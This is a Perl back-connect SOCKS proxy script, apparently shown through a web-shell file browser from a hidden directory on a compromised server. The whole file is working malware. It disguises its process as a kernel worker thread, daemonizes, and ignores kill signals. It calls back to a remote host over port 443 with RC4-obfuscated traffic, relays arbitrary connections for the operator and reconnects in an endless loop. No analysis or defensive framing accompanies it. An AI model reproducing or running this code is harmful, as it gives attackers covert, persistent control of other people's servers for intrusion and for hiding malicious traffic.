1#@!#!123s

: / var / tmp / .bcksocks /
Filename : 36.255.98.161_443.pl
back
#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
use POSIX qw(setsid);

my $host = $ARGV[0] || '127.0.0.1';
my $port = $ARGV[1] || 443;
my $pidf = $ARGV[2] || '';

# Random kernel-like process name
sub get_proc_name {
    my @names = ('kworker','migration','ksoftirqd','watchdog','cpuhp','rcu_sched',
                 'kblockd','kswapd','khugepaged','scsi_eh','bioset','kdmflush');
    my @suffix = ('','/0','/1','/2','/0:0','/0:1','/1:0');
    return $names[rand @names] . $suffix[rand @suffix];
}

# Mask only /proc/self/comm, keep cmdline for pgrep
my $pn = get_proc_name();
eval { if(open(my $fh, '>', '/proc/self/comm')) { print $fh substr($pn,0,15); close($fh); } };

# Daemonize
fork and exit;
setsid();
fork and exit;
open(STDIN, '<', '/dev/null');
open(STDOUT, '>', '/dev/null');
open(STDERR, '>', '/dev/null');

if ($pidf) { open(my $pf, '>', $pidf); print $pf $$; close($pf); }

$SIG{HUP} = $SIG{TERM} = $SIG{INT} = $SIG{PIPE} = 'IGNORE';

my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }

# ORIGINAL RC4 - DO NOT MODIFY!
sub Rc4_crypt {
    my $passw = shift(@_);
    my $length = shift(@_);
    my $buff0 = shift(@_);
    my $start = shift(@_);
    my $sz = shift(@_);
    
    my $rc4 = "\x00" x 256;
    my $pockemon0 = 0;
    my $pockemon1 = 0;
    my $pockemon2 = 0;
    my $pockemon3 = 0;
    my $pockemon4 = 0;
    my $pockemon5 = 0;
    my $pockemon6 = 0;
    my $pockemon7 = 0;
    my $pockemon8 = 0;
    my $rcx = $sz;
    my $rsi = 0;
    my $rbx = 0;
    my $gs = 0;
    my $t = 0;
    
    for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
    
    do {
        substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
        $rsi++; $rbx++; $rcx--;
        if ($rbx == $length) { $rbx = 0; }
    } while($rcx > 0);
    
    while(1) {
        if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; }
        if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } }
        $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
        $t = unpack('C', substr($$passw, $pockemon2, 1));
        $pockemon1 += $t;
        $pockemon1 = $pockemon1 & 255;
        $pockemon1 += $pockemon7;
        $pockemon1 = $pockemon1 & 255;
        $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
        substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
        substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
        $pockemon0++;
        $pockemon0 = $pockemon0 & 255;
        if ($pockemon0 != 0) { $gs = 1; next; }
        $pockemon4 = $sz;
        $pockemon1 = 0;
        $pockemon0 = 0;
        $pockemon2 = 0;
        $pockemon3 = 0;
        while(1) {
            $pockemon2++;
            $pockemon2 = $pockemon2 & 255;
            $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
            $pockemon1 += $pockemon7;
            $pockemon1 = $pockemon1 & 255;
            $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
            substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
            substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
            $pockemon8 += $pockemon7;
            $pockemon8 = $pockemon8 & 255;
            $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
            $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
            $pockemon5 = $pockemon5 ^ $pockemon0;
            substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
            $pockemon3++;
            if (--$pockemon4 == 0) { last; }
        }
        last;
    }
    
    $rsi = 0; $rcx = $sz; $rbx = 0;
    do {
        substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
        $rsi++; $rbx++; $rcx--;
        if ($rbx == $length) { $rbx = 0; }
    } while($rcx > 0);
}

sub synsend {
    my $cSocket = shift(@_);
    my $buffer = shift(@_);
    my $flags = shift(@_);
    open(my $fh, "<", '/dev/null');
    flock($fh, LOCK_EX);
    send($cSocket, $buffer, $flags);
    flock($fh, LOCK_UN);
    close($fh);
}

sub newConnection {
    my $num = shift(@_);
    my $socketarray = shift(@_);
    my $sSocket = shift(@_);
    my $cSocket = shift(@_);
    my $buff0 = shift(@_);
    
    threads->create( sub {
        my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
        my $domain = '';
        my $port = 0;
        my $_ret = 0;
        my $data = '';
        my $buffer = '';
        
        setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
        fcntl($cSocket, F_SETFL, O_NONBLOCK);
        
        if (unpack('C', substr($buff0, 7, 1)) == 3) {
            $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
            $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
        }
        elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
            $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
            $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
        }
        else { goto close_; }
        
        eval {
            my $paddr = sockaddr_in($port, inet_aton($domain));
            connect($cSocket, $paddr);
            vec(my $win = '', fileno($cSocket), 1) = 1;
            unless (select(undef, $win, undef, 10)) { goto close_; }
            fcntl($cSocket, F_SETFL, 0);
            substr($responce, 4, 1) = "\x00";
            $_ret = 1;
        };
        
        close_:
        Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
        Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
        synsend($sSocket, $responce, 0);
        Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
        
        if ($_ret == 1) {
            while ($$socketarray[$num] == 1) {
                vec(my $rin = '', fileno($cSocket), 1) = 1;
                unless (select($rin, undef, undef, 1)) { next; }
                $data = '';
                recv($cSocket, $data, 65530, 0);
                unless ($data) { last; }
                $buffer = pack('C', $num).pack('S', length($data)).$data;
                Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
                Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
                synsend($sSocket, $buffer, 0);
            }
        }
        
        $$socketarray[$num] = 0;
        close($cSocket);
        substr($responce, 1, 2) = "\x00\x00";
        Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
        synsend($sSocket, substr($responce, 0, 3), 0);
        threads->detach();
    });
}

sub bccnct {
    my $h = shift(@_);
    my $p = shift(@_);
    
    my $remaining = 0;
    my $remaining4 = 0;
    my @socketarr;
    my @socketarray :shared;
    my $buffer = "\x00" x 100;
    my $buffernull = "\x00" x 3;
    my $buffer0 = '';
    my $isExit = 0;
    my $ecx = 0;
    my $eax = 0;
    my $data = '';
    my $_ret = 0;
    my $ebx = 0;
    my $edx = 0;
    
    socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
    setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
    
    my $paddr = sockaddr_in($p, inet_aton($h));
    unless(connect($socketarr[0], $paddr)) { goto close0; }
    
    substr($buffer, 0, 50) = $xordata;
    substr($buffer, 50, 2) = "\xFF\xFF";
    substr($buffer, 54, 4) = "Perl";
    
    Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
    send($socketarr[0], $buffer, 0);
    
    while(1) {
        if ($remaining4 != 4) {
            vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
            my $ret = select($rin, undef, undef, 60);
            next if ($ret < 0);
            if ($ret == 0) {
                last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
                last if ($remaining != 0);
                last if ($remaining4 != 0);
                Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
                synsend($socketarr[0], $buffernull, 0);
                $buffernull = "\x00" x 3;
                next;
            }
        }
        
        if ($remaining != 0 || $remaining4 == 4) {
            if ($edx == 0) {
                if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
                    $isExit = 1;
                    last;
                }
                elsif ($ebx < 200 && $ebx > 0) {
                    $socketarray[$ebx] = 0;
                }
            }
            else {
                $ecx = $edx;
                $ecx = $ecx - $remaining;
                $data = '';
                recv($socketarr[0], $data, $ecx, 0);
                unless ($data) { last; }
                $remaining += length($data);
                $buffer0 .= $data;
                if ($edx == $remaining) {
                    Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
                    if (unpack('C', substr($buffer0, 0, 1)) == 0) {
                        socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
                        $socketarray[$ebx] = 1;
                        newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
                    }
                    else {
                        send($socketarr[$ebx], substr($buffer0, 4, $remaining), 0);
                    }
                    $remaining = 0;
                }
            }
            $remaining4 = 0;
        }
        else {
            if ($remaining4 == 0) { $buffer0 = ''; }
            $eax = 4;
            $eax = $eax - $remaining4;
            $data = '';
            recv($socketarr[0], $data, $eax, 0);
            unless ($data) { last; }
            $remaining4 += length($data);
            $buffer0 .= $data;
            $buffernull = "\x00" x 3;
            if ($remaining4 == 4) {
                Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
                $ebx = unpack('C', substr($buffer0, 1, 1));
                $edx = unpack('S', substr($buffer0, 2, 2));
                $_ret = 1;
            }
        }
    }
    
    close0:
    close($socketarr[0]);
    for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
    sleep 10;
    if ($isExit == 1) { exit; }
    return $_ret;
}

while(1) {
    eval { bccnct($host, $port); };
    sleep 10;
}